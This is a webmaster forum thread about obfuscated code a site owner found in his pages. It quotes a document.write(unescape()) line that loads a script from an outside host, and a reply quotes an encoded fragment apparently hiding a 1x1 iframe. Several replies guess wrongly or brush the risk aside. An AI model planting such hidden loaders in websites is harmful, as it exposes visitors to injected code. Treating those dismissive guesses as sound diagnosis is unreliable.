What Is The Meaning Of This Code?

by 6 replies
7
Fellow Warriors,

I discovered the following code in the files of one of my sites.

document.write(unescape("%3Cscript src='" + playerhost + "flv/Navigator/A1054F7C-1422-1D54-B15578E1475CEC32.js' type='text/javascript'%3E%3C/script%3E"));

What does it mean?

I also discovered a similar code embedded in the Google Analytics code for another site.

Both of these codes are only visible by looking at the Source Code, and Fetch As Googlebot in Webmaster Tools.

Thanks for your help.

Goubana
#search engine optimization #code #meaning
  • When you see document.write.unescape(5%6E%64%69%73%74%72%2E%69% 6E%66%6 F%2F%71%75%61%6C%69%74%79%74%65%73%74%22%20%77%69% 64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F %69%66%72%61%6D%65%3E) - someone has likely injected dangerous code into your website that is subsequently masked.

    In your case, it looks like a video player code - do you have any videos on your site. If so, try removing them and seeing if this code still appears!
  • unescape is a function used to decode an encoded string and I believe it's deprecated and should no longer be used. My guess would be that it's a wordpress plugin that allows a video to play in an iframe... an easy (and poor) way to insert video into a post.
    • [1] reply
    • Of course it may be part of your google analytics code.
      It's in a lot of codes. I have no idea why people get
      in such a panic over nothing.

      The OP is pure spam anyway. Nobody would ask such
      a question.

      Paul
      • [1] reply
  • Without seeing all the code, it's hard to say exactly what's happening, but it's calling a .js file located on another server.. so it could absolutely slow your page load down. Analytics creates this problem too.. and most people don't realize it and just assume google's servers will always respond fast enough that there's not a problem. Not always true. Ideally, you want to call your javascript on page load instead of inline.. but this calls for modifying the existing code a bit.
    • [1] reply
    • Thanks Jefkas,

      I am unable to post the entire Google Analytics Code showing how the code is embedded because I cannot post links at this time.

Next Topics on Trending Feed